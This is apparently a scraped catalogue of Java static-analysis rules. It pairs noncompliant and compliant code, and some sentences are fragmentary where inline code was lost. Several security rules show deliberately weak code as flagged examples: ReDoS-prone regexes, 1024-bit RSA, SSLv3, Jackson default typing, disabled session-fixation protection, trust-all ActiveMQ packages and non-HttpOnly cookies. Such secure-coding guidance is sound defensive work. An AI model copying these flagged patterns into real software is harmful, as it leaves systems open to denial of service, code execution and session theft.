Sensitive Code ExampleCookie myCookie = new Cookie("name", "val"); myCookie.setDomain(".com"); // Noncompliant java.net.HttpCookie myOtherCookie = new java.net.HttpCookie("name", "val"); myOtherCookie.setDomain(".com"); // Noncompliant Compliant SolutionCookie myCookie = new Cookie("name", "val"); // Compliant; by default, cookies are only returned to the server that sent them. // or Cookie myCookie = new Cookie("name", "val"); myCookie.setDomain(".myDomain.com"); // Compliant java.net.HttpCookie myOtherCookie = new java.net.HttpCookie("name", "val"); myOtherCookie.setDomain(".myDomain.com"); // Compliant See
DeprecatedThis rule is deprecated, and will eventually be removed. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S4784 |
Using regular expressions is security-sensitive. It has led in the past to the following vulnerabilities: Evaluating regular expressions against input strings is potentially an extremely CPU-intensive task. Specially crafted regular expressions such as
Evaluating such regular expressions opens the door to Regular expression Denial of Service (ReDoS) attacks. In the context of a web application, attackers can force the web server to spend all of its resources evaluating regular expressions thereby making the service inaccessible to genuine users. This rule flags any execution of a hardcoded regular expression which has at least 3 characters and at least two instances of any of the following
characters: Example: Ask Yourself Whether
There is a risk if you answered yes to any of those questions. Recommended Secure Coding PracticesCheck whether your regular expression engine (the algorithm executing your regular expression) has any known vulnerabilities. Search for vulnerability reports mentioning the one engine you're are using. Use if possible a library which is not vulnerable to Redos Attacks such as Google Re2. Remember also that a ReDos attack is possible if a user-provided regular expression is executed. This rule won't detect this kind of injection. Sensitive Code Exampleimport java.util.regex.Pattern; class BasePattern { String regex = "(a+)+b"; // a regular expression String input; // a user input void foo(CharSequence htmlString) { input.matches(regex); // Sensitive Pattern.compile(regex); // Sensitive Pattern.compile(regex, Pattern.CASE_INSENSITIVE); // Sensitive String replacement = "test"; input.replaceAll(regex, replacement); // Sensitive input.replaceFirst(regex, replacement); // Sensitive if (!Pattern.matches(".*<script>(a+)+b", htmlString)) { // Sensitive } } } This also applies for bean validation, where regexp can be specified: import java.io.Serializable; import javax.validation.constraints.Pattern; import javax.validation.constraints.Email; import org.hibernate.validator.constraints.URL; class BeansRegex implements Serializable { @Pattern(regexp=".+@(a+)+b") // Sensitive private String email; @Email(regexp=".+@(a+)+b") // Sensitive private String email2; @URL(regexp="(a+)+b.com") // Sensitive private String url; // ... } ExceptionsCalls to Some corner-case regular expressions will not raise an issue even though they might be vulnerable. For example: It is a good idea to test your regular expression if it has the same pattern on both side of a " See
DeprecatedThis rule is deprecated; use S5852 instead. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2121 |
Creating a substring from 0 to the end is silly. You'll end up with the same string you started with. Using the value of Calling Noncompliant Code ExampleString speech = "Now is the time for all good people to come to the aid of their country."; String s1 = speech.substring(0); // Noncompliant. Yields the whole string String s2 = speech.substring(speech.length()); // Noncompliant. Yields ""; String s3 = speech.substring(5,speech.length()); // Noncompliant. Use the 1-arg version instead if (speech.contains(speech)) { // Noncompliant // always true } Compliant SolutionString speech = "Now is the time for all good people to come to the aid of their country."; String s1 = speech; String s2 = ""; String s3 = speech.substring(5); |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S1153 |
Appending The argument passed to Noncompliant Code Examplepublic void display(int i){ System.out.println("Output is " + String.valueOf(i)); // Noncompliant } Compliant Solutionpublic void display(int i){ System.out.println("Output is " + i); // Compliant } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S3330 |
When a cookie is configured with the Ask Yourself Whether
There is a risk if you answered yes to any of those questions. Recommended Secure Coding Practices
Sensitive Code ExampleIf you create a security-sensitive cookie in your JAVA code: Cookie c = new Cookie(COOKIENAME, sensitivedata); c.setHttpOnly(false); // Sensitive: this sensitive cookie is created with the httponly flag set to false and so it can be stolen easily in case of XSS vulnerability By default the Cookie c = new Cookie(COOKIENAME, sensitivedata); // Sensitive: this sensitive cookie is created with the httponly flag not defined (by default set to false) and so it can be stolen easily in case of XSS vulnerability Compliant SolutionCookie c = new Cookie(COOKIENAME, sensitivedata); c.setHttpOnly(true); // Compliant: this sensitive cookie is protected against theft (HttpOnly=true) See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2123 |
A value that is incremented or decremented and then not stored is at best wasted code and at worst a bug. Noncompliant Code Examplepublic int pickNumber() { int i = 0; int j = 0; i = i++; // Noncompliant; i is still zero return j++; // Noncompliant; 0 returned } Compliant Solutionpublic int pickNumber() { int i = 0; int j = 0; i++; return ++j; } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S1155 |
Using Noncompliant Code Exampleif (myCollection.size() == 0) { // Noncompliant /* ... */ } Compliant Solutionif (myCollection.isEmpty()) { /* ... */ } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S5993 |
Abstract classes should not have public constructors. Constructors of abstract classes can only be called in constructors of their subclasses. So
there is no point in making them public. The Noncompliant Code Examplepublic abstract class AbstractClass1 { public AbstractClass1 () { // Noncompliant, has public modifier // do something here } } Compliant Solutionpublic abstract class AbstractClass2 { protected AbstractClass2 () { // do something here } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2122 |
This rule detects instances where Noncompliant Code Examplepublic void do(){ ScheduledThreadPoolExecutor stpe1 = new ScheduledThreadPoolExecutor(0); // Noncompliant ScheduledThreadPoolExecutor stpe2 = new ScheduledThreadPoolExecutor(POOL_SIZE); stpe2.setCorePoolSize(0); // Noncompliant |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S4425 |
Using This is particularly damaging when converting hash-codes and could lead to a security vulnerability. This rule raises an issue when Noncompliant Code ExampleMessageDigest md = MessageDigest.getInstance("SHA-256"); byte[] bytes = md.digest(password.getBytes("UTF-8")); StringBuilder sb = new StringBuilder(); for (byte b : bytes) { sb.append(Integer.toHexString( b & 0xFF )); // Noncompliant } Compliant SolutionMessageDigest md = MessageDigest.getInstance("SHA-256"); byte[] bytes = md.digest(password.getBytes("UTF-8")); StringBuilder sb = new StringBuilder(); for (byte b : bytes) { sb.append(String.format("%02X", b)); } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S3577 |
Shared naming conventions allow teams to collaborate efficiently. This rule raises an issue when a test class name does not match the provided regular expression. Noncompliant Code ExampleWith the default value: class Foo { // Noncompliant @Test void check() { } } class Bar { // Noncompliant @Nested class PositiveCase { @Test void check() { } } } Compliant Solutionclass FooTest { @Test void check() { } } class BarIT { @Nested class PositiveCase { @Test void check() { } } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S1157 |
Using Noncompliant Code Exampleboolean result1 = foo.toUpperCase().equals(bar); // Noncompliant boolean result2 = foo.equals(bar.toUpperCase()); // Noncompliant boolean result3 = foo.toLowerCase().equals(bar.LowerCase()); // Noncompliant Compliant Solutionboolean result = foo.equalsIgnoreCase(bar); // Compliant ExceptionsNo issue will be raised when a locale is specified because the result could be different from "equalsIgnoreCase". (e.g.: using the Turkish locale) boolean result1 = foo.toUpperCase(locale).equals(bar); // Compliant |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S4426 |
Most of cryptographic systems require a sufficient key size to be robust against brute-force attacks. NIST recommendations will be checked for these use-cases: Digital Signature Generation and Verification:
Key Agreement:
Symmetric keys:
This rule will not raise issues for ciphers that are considered weak (no matter the key size) like Noncompliant Code ExampleKeyPairGenerator keyPairGen1 = KeyPairGenerator.getInstance("RSA"); keyPairGen1.initialize(1024); // Noncompliant KeyPairGenerator keyPairGen5 = KeyPairGenerator.getInstance("EC"); ECGenParameterSpec ecSpec1 = new ECGenParameterSpec("secp112r1"); // Noncompliant keyPairGen5.initialize(ecSpec1); KeyGenerator keyGen1 = KeyGenerator.getInstance("AES"); keyGen1.init(64); // Noncompliant Compliant SolutionKeyPairGenerator keyPairGen6 = KeyPairGenerator.getInstance("RSA"); keyPairGen6.initialize(2048); // Compliant KeyPairGenerator keyPairGen5 = KeyPairGenerator.getInstance("EC"); ECGenParameterSpec ecSpec10 = new ECGenParameterSpec("secp224k1"); // compliant keyPairGen5.initialize(ecSpec10); KeyGenerator keyGen2 = KeyGenerator.getInstance("AES"); keyGen2.init(128); // Compliant See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2245 |
Using pseudorandom number generators (PRNGs) is security-sensitive. For example, it has led in the past to the following vulnerabilities: When software generates predictable values in a context requiring unpredictability, it may be possible for an attacker to guess the next value that will be generated, and use this guess to impersonate another user or access sensitive information. As the Ask Yourself Whether
There is a risk if you answered yes to any of those questions. Recommended Secure Coding Practices
Sensitive Code ExampleRandom random = new Random(); // Sensitive use of Random byte bytes[] = new byte[20]; random.nextBytes(bytes); // Check if bytes is used for hashing, encryption, etc... Compliant SolutionSecureRandom random = new SecureRandom(); // Compliant for security-sensitive use cases byte bytes[] = new byte[20]; random.nextBytes(bytes); See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S4544 |
Using unsafe Jackson deserialization configuration is security-sensitive. It has led in the past to the following vulnerabilities: When Jackson is configured to allow Polymorphic Type Handling (aka PTH), formerly known as Polymorphic Deserialization, "deserialization gadgets" may allow an attacker to perform remote code execution. This rule raises an issue when:
Ask Yourself Whether
There is a risk if you answered yes to any of those questions. Recommended Secure Coding Practices
Sensitive Code ExampleObjectMapper mapper = new ObjectMapper(); mapper.enableDefaultTyping(); // Sensitive @JsonTypeInfo(use = Id.CLASS) // Sensitive abstract class PhoneNumber { } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2127 |
Noncompliant Code Exampleint i = 42; double d = Double.longBitsToDouble(i); // Noncompliant |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S1158 |
Creating temporary primitive wrapper objects only for Instead, the static Noncompliant Code Examplenew Integer(myInteger).toString(); // Noncompliant Compliant SolutionInteger.toString(myInteger); // Compliant |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S4423 |
This rule raises an issue when an The recommended value is "TLS" or "DTLS" as it will always use the latest version of the protocol. However an issue will be raised if the bytecode was compiled with JDK7 or an even older version of JDK because they are not alias for TLSv1.2 and DTLSv1.2 but for weaker protocols. Note that calling Noncompliant Code Examplecontext = SSLContext.getInstance("SSLv3"); // Noncompliant Compliant Solutioncontext = SSLContext.getInstance("TLSv1.2"); See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S4787 |
Encrypting data is security-sensitive. It has led in the past to the following vulnerabilities: Proper encryption requires both the encryption algorithm and the key to be strong. Obviously the private key needs to remain secret and be renewed regularly. However these are not the only means to defeat or weaken an encryption.
This rule flags function calls that initiate encryption/decryption. Ask Yourself Whether
You are at risk if you answered yes to any of those questions. Recommended Secure Coding Practices
Sensitive Code Example// === javax.crypto === import javax.crypto.Cipher; Cipher c = Cipher.getInstance(...); // Sensitive // === apache.commons.crypto === import java.util.Properties; import org.apache.commons.crypto.utils.Utils; import org.apache.commons.crypto.cipher.CryptoCipherFactory; import org.apache.commons.crypto.cipher.CryptoCipherFactory.CipherProvider; Properties properties = new Properties(); properties.setProperty(CryptoCipherFactory.CLASSES_KEY, CipherProvider.OPENSSL.getClassName()); final String transform = "AES/CBC/PKCS5Padding"; Utils.getCipherInstance(transform, properties); // Sensitive See
DeprecatedThis rule is deprecated, and will eventually be removed. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S3457 |
Because Noncompliant Code ExampleString.format("First {0} and then {1}", "foo", "bar"); //Noncompliant. Looks like there is a confusion with the use of {{java.text.MessageFormat}}, parameters "foo" and "bar" will be simply ignored here String.format("Display %3$d and then %d", 1, 2, 3); //Noncompliant; the second argument '2' is unused String.format("Too many arguments %d and %d", 1, 2, 3); //Noncompliant; the third argument '3' is unused String.format("First Line\n"); //Noncompliant; %n should be used in place of \n to produce the platform-specific line separator String.format("Is myObject null ? %b", myObject); //Noncompliant; when a non-boolean argument is formatted with %b, it prints true for any nonnull value, and false for null. Even if intended, this is misleading. It's better to directly inject the boolean value (myObject == null in this case) String.format("value is " + value); // Noncompliant String s = String.format("string without arguments"); // Noncompliant MessageFormat.format("Result '{0}'.", value); // Noncompliant; String contains no format specifiers. (quote are discarding format specifiers) MessageFormat.format("Result {0}.", value, value); // Noncompliant; 2nd argument is not used MessageFormat.format("Result {0}.", myObject.toString()); // Noncompliant; no need to call toString() on objects java.util.Logger logger; logger.log(java.util.logging.Level.SEVERE, "Result {0}.", myObject.toString()); // Noncompliant; no need to call toString() on objects logger.log(java.util.logging.Level.SEVERE, "Result.", new Exception()); // compliant, parameter is an exception logger.log(java.util.logging.Level.SEVERE, "Result '{0}'", 14); // Noncompliant - String contains no format specifiers. logger.log(java.util.logging.Level.SEVERE, "Result " + param, exception); // Noncompliant; Lambda should be used to differ string concatenation. org.slf4j.Logger slf4jLog; org.slf4j.Marker marker; slf4jLog.debug(marker, "message {}"); slf4jLog.debug(marker, "message", 1); // Noncompliant - String contains no format specifiers. org.apache.logging.log4j.Logger log4jLog; log4jLog.debug("message", 1); // Noncompliant - String contains no format specifiers. Compliant SolutionString.format("First %s and then %s", "foo", "bar"); String.format("Display %2$d and then %d", 1, 3); String.format("Too many arguments %d %d", 1, 2); String.format("First Line%n"); String.format("Is myObject null ? %b", myObject == null); String.format("value is %d", value); String s = "string without arguments"; MessageFormat.format("Result {0}.", value); MessageFormat.format("Result '{0}' = {0}", value); MessageFormat.format("Result {0}.", myObject); java.util.Logger logger; logger.log(java.util.logging.Level.SEVERE, "Result {0}.", myObject); logger.log(java.util.logging.Level.SEVERE, "Result {0}'", 14); logger.log(java.util.logging.Level.SEVERE, exception, () -> "Result " + param); org.slf4j.Logger slf4jLog; org.slf4j.Marker marker; slf4jLog.debug(marker, "message {}"); slf4jLog.debug(marker, "message {}", 1); org.apache.logging.log4j.Logger log4jLog; log4jLog.debug("message {}", 1); See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S5876 |
Session fixation attacks occur when an attacker can force a legitimate user to use a session ID that he knows. To avoid fixation attacks, it's a good practice to generate a new session each time a user authenticates and deletes/invalidates the existing session (the one possibly known by the attacker). Noncompliant Code ExampleIn a Spring Security's context, session fixation protection is enabled by default but can be disabled with @Override protected void configure(HttpSecurity http) throws Exception { http.sessionManagement() .sessionFixation().none(); // Noncompliant: the existing session will continue } Compliant SolutionIn a Spring Security's context, session fixation protection can be enabled as follows: @Override protected void configure(HttpSecurity http) throws Exception { http.sessionManagement() .sessionFixation().newSession(); // Compliant: a new session is created without any of the attributes from the old session being copied over // or http.sessionManagement() .sessionFixation().migrateSession(); // Compliant: a new session is created, the old one is invalidated and the attributes from the old session are copied over. } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S3578 |
Shared naming conventions allow teams to collaborate efficiently. This rule raises an issue when a test method name does not match the provided regular expression. Noncompliant Code ExampleWith the default value: @Test public void foo() { // Noncompliant //... } Compliant Solution@Test public void testFoo() { // ... } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2390 |
When a parent class references a member of a subclass during its own initialization, the results might not be what you expect because the child class might not have been initialized yet. This could create what is known as an "initialisation cycle", or even a deadlock in some extreme cases. To make things worse, these issues are very hard to diagnose so it is highly recommended you avoid creating this kind of dependencies. Noncompliant Code Exampleclass Parent { static int field1 = Child.method(); // Noncompliant static int field2 = 42; public static void main(String[] args) { System.out.println(Parent.field1); // will display "0" instead of "42" } } class Child extends Parent { static int method() { return Parent.field2; } } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S1181 |
Catching either Noncompliant Code Exampletry { /* ... */ } catch (Throwable t) { /* ... */ } try { /* ... */ } catch (Error e) { /* ... */ } Compliant Solutiontry { /* ... */ } catch (RuntimeException e) { /* ... */ } try { /* ... */ } catch (MyException e) { /* ... */ } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S1182 |
The usual convention for
Obtaining the object that will be returned by calling
Noncompliant Code Exampleclass BaseClass { // Noncompliant; should implement Cloneable @Override public Object clone() throws CloneNotSupportedException { // Noncompliant; should return the super.clone() instance return new BaseClass(); } } class DerivedClass extends BaseClass implements Cloneable { /* Does not override clone() */ public void sayHello() { System.out.println("Hello, world!"); } } class Application { public static void main(String[] args) throws Exception { DerivedClass instance = new DerivedClass(); ((DerivedClass) instance.clone()).sayHello(); // Throws a ClassCastException because invariant #2 is violated } } Compliant Solutionclass BaseClass implements Cloneable { @Override public Object clone() throws CloneNotSupportedException { // Compliant return super.clone(); } } class DerivedClass extends BaseClass implements Cloneable { /* Does not override clone() */ public void sayHello() { System.out.println("Hello, world!"); } } class Application { public static void main(String[] args) throws Exception { DerivedClass instance = new DerivedClass(); ((DerivedClass) instance.clone()).sayHello(); // Displays "Hello, world!" as expected. Invariant #2 is satisfied } } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2391 |
If the Similarly, Noncompliant Code ExampleTest suite() { ... } // Noncompliant; must be public static public static boolean suite() { ... } // Noncompliant; wrong return type public static Test suit() { ... } // Noncompliant; typo in method name public static Test suite(int count) { ... } // Noncompliant; must be no-arg public void setup() { ... } // Noncompliant; should be setUp public void tearDwon() { ... } // Noncompliant; should be tearDown Compliant Solutionpublic static Test suite() { ... } public void setUp() { ... } public void tearDown() { ... } DeprecatedThis rule is deprecated, and will eventually be removed. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2273 |
By contract, the method Noncompliant Code Exampleprivate void removeElement() { while (!suitableCondition()){ obj.wait(); } ... // Perform removal } or private void removeElement() { while (!suitableCondition()){ wait(); } ... // Perform removal } Compliant Solutionprivate void removeElement() { synchronized(obj) { while (!suitableCondition()){ obj.wait(); } ... // Perform removal } } or private synchronized void removeElement() { while (!suitableCondition()){ wait(); } ... // Perform removal } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2272 |
By contract, any implementation of the Noncompliant Code Examplepublic class MyIterator implements Iterator<String>{ ... public String next(){ if(!hasNext()){ return null; } ... } } Compliant Solutionpublic class MyIterator implements Iterator<String>{ ... public String next(){ if(!hasNext()){ throw new NoSuchElementException(); } ... } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2151 |
Running finalizers on JVM exit is disabled by default. It can be enabled with According to the Oracle Javadoc:
If you really want to be execute something when the virtual machine begins its shutdown sequence, you should attach a shutdown hook. Noncompliant Code Examplepublic static void main(String [] args) { ... System.runFinalizersOnExit(true); // Noncompliant ... } protected void finalize(){ doSomething(); } Compliant Solutionpublic static void main(String [] args) { Runtime.addShutdownHook(new Runnable() { public void run(){ doSomething(); } }); //... See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S3008 |
Shared naming conventions allow teams to collaborate efficiently. This rule checks that static non-final field names match a provided regular expression. Noncompliant Code ExampleWith the default regular expression public final class MyClass { private static String foo_bar; } Compliant Solutionclass MyClass { private static String fooBar; } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S4454 |
By contract, the Assuming that the argument to The rule raises an issue when the Noncompliant Code Examplepublic boolean equals(@javax.annotation.Nonnull Object obj) { // Noncompliant // ... } Compliant Solutionpublic boolean equals(Object obj) { if (obj == null) { return false; } // ... } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S1185 |
Overriding a method just to call the same method from the super class without performing any other actions is useless and misleading. The only time
this is justified is in Noncompliant Code Examplepublic void doSomething() { super.doSomething(); } @Override public boolean isLegal(Action action) { return super.isLegal(action); } Compliant Solution@Override public boolean isLegal(Action action) { // Compliant - not simply forwarding the call return super.isLegal(new Action(/* ... */)); } @Id @Override public int getId() { // Compliant - there is annotation different from @Override return super.getId(); } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2154 |
If wrapped primitive values (e.g. Noncompliant Code ExampleInteger i = 123456789; Float f = 1.0f; Number n = condition ? i : f; // Noncompliant; i is coerced to float. n = 1.23456792E8 Compliant SolutionInteger i = 123456789; Float f = 1.0f; Number n = condition ? (Number) i : f; // n = 123456789 |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2275 |
Because Noncompliant Code ExampleString.format("The value of my integer is %d", "Hello World"); // Noncompliant; an 'int' is expected rather than a String String.format("Duke's Birthday year is %tX", c); //Noncompliant; X is not a supported time conversion character String.format("Display %0$d and then %d", 1); //Noncompliant; arguments are numbered starting from 1 String.format("Not enough arguments %d and %d", 1); //Noncompliant; the second argument is missing String.format("%< is equals to %d", 2); //Noncompliant; the argument index '<' refers to the previous format specifier but there isn't one MessageFormat.format("Result {1}.", value); // Noncompliant; Not enough arguments. (first element is {0}) MessageFormat.format("Result {{0}.", value); // Noncompliant; Unbalanced number of curly brace (single curly braces should be escaped) MessageFormat.format("Result ' {0}", value); // Noncompliant; Unbalanced number of quotes (single quote must be escaped) java.util.logging.Logger logger; logger.log(java.util.logging.Level.SEVERE, "Result {1}!", 14); // Noncompliant - Not enough arguments. org.slf4j.Logger slf4jLog; org.slf4j.Marker marker; slf4jLog.debug(marker, "message {}"); // Noncompliant - Not enough arguments. org.apache.logging.log4j.Logger log4jLog; log4jLog.debug("message {}"); // Noncompliant - Not enough arguments. Compliant SolutionString.format("The value of my integer is %d", 3); String.format("Duke's Birthday year is %tY", c); String.format("Display %1$d and then %d", 1); String.format("Not enough arguments %d and %d", 1, 2); String.format("%d is equals to %<", 2); MessageFormat.format("Result {0}.", value); MessageFormat.format("Result {0} & {1}.", value, value); MessageFormat.format("Result {0}.", myObject); java.util.logging.Logger logger; logger.log(java.util.logging.Level.SEVERE, "Result {1},{2}!", 14, 2); org.slf4j.Logger slf4jLog; org.slf4j.Marker marker; slf4jLog.debug(marker, "message {}", 1); org.apache.logging.log4j.Logger log4jLog; log4jLog.debug("message {}", 1); See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S5301 |
ActiveMQ can send/receive JMS Object messages (named ObjectMessage in ActiveMQ context) to comply with JMS specification. Internally, ActiveMQ relies on Java serialization mechanism for marshaling/unmashaling of the message payload. Deserialization based on data supplied by the user could lead to remote code execution attacks, where the structure of the serialized data is changed to modify the behavior of the object being unserialized. To limit the risk to be victim of such attack, ActiveMQ 5.12.2+ enforces developers to explicitly whitelist packages that can be exchanged using ObjectMessages. Noncompliant Code ExampleActiveMQConnectionFactory factory = new ActiveMQConnectionFactory("tcp://localhost:61616"); factory.setTrustAllPackages(true); // Noncompliant ActiveMQConnectionFactory factory = new ActiveMQConnectionFactory("tcp://localhost:61616"); // no call to factory.setTrustedPackages(...); Compliant SolutionActiveMQConnectionFactory factory = new ActiveMQConnectionFactory("tcp://localhost:61616"); factory.setTrustedPackages(Arrays.asList("org.mypackage1", "org.mypackage2")); See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S5785 |
Testing equality or nullness with JUnit's Noncompliant Code ExampleAssert.assertTrue(a.equals(b)); Assert.assertTrue(a == b); Assert.assertTrue(a == null); Assert.assertTrue(a != null); Assert.assertFalse(a.equals(b)); Compliant SolutionAssert.assertEquals(a, b); Assert.assertSame(a, b); Assert.assertNull(a); Assert.assertNotNull(a); Assert.assertNotEquals(a, b); |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S1186 |
There are several reasons for a method not to have a method body:
Noncompliant Code Examplepublic void doSomething() { } public void doSomethingElse() { } Compliant Solution@Override public void doSomething() { // Do nothing because of X and Y. } @Override public void doSomethingElse() { throw new UnsupportedOperationException(); } ExceptionsDefault (no-argument) constructors are ignored when there are other constructors in the class, as are empty methods in abstract classes. public abstract class Animal { void speak() { // default implementation ignored } } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2153 |
Boxing is the process of putting a primitive value into an analogous object, such as creating an Since the original value is unchanged during boxing and unboxing, there's no point in doing either when not needed. This also applies to autoboxing and auto-unboxing (when Java implicitly handles the primitive/object transition for you). Noncompliant Code Examplepublic void examineInt(int a) { //... } public void examineInteger(Integer a) { // ... } public void func() { int i = 0; Integer iger1 = Integer.valueOf(0); double d = 1.0; int dIntValue = new Double(d).intValue(); // Noncompliant examineInt(new Integer(i).intValue()); // Noncompliant; explicit box/unbox examineInt(Integer.valueOf(i)); // Noncompliant; boxed int will be auto-unboxed examineInteger(i); // Compliant; value is boxed but not then unboxed examineInteger(iger1.intValue()); // Noncompliant; unboxed int will be autoboxed Integer iger2 = new Integer(iger1); // Noncompliant; unnecessary unboxing, value can be reused } Compliant Solutionpublic void examineInt(int a) { //... } public void examineInteger(Integer a) { // ... } public void func() { int i = 0; Integer iger1 = Integer.valueOf(0); double d = 1.0; int dIntValue = (int) d; examineInt(i); examineInteger(i); examineInteger(iger1); } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S3242 |
For maximum reusability, methods should accept parameters with as little specialization as possible. So unless specific features from a child class are required by a method, a type higher up the class hierarchy should be used instead. Noncompliant Code Examplepublic void printSize(ArrayList<Object> list) { // Collection can be used instead System.out.println(list.size()); } public static void loop(List<Object> list) { // java.lang.Iterable can be used instead for (Object o : list) { o.toString(); } } Compliant Solutionpublic void printSize(Collection<?> list) { // Collection can be used instead System.out.println(list.size()); } public static void loop(Iterable<?> list) { // java.lang.Iterable can be used instead for (Object o : list) { o.toString(); } } ExceptionsParameters in non-public methods are not checked, because such methods are not intended to be generally reusable. |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S1065 |
If a label is declared but not used in the program, it can be considered as dead code and should therefore be removed. This will improve maintainability as developers will not wonder what this label is used for. Noncompliant Code Examplevoid foo() { outer: //label is not used. for(int i = 0; i<10; i++) { break; } } Compliant Solutionvoid foo() { for(int i = 0; i<10; i++) { break; } } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S2274 |
According to the documentation of the Java
The same advice is also found for the
Noncompliant Code Examplesynchronized (obj) { if (!suitableCondition()){ obj.wait(timeout); //the thread can wake up even if the condition is still false } ... // Perform action appropriate to condition } Compliant Solutionsynchronized (obj) { while (!suitableCondition()){ obj.wait(timeout); } ... // Perform action appropriate to condition } See
|
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
java:S5786 |
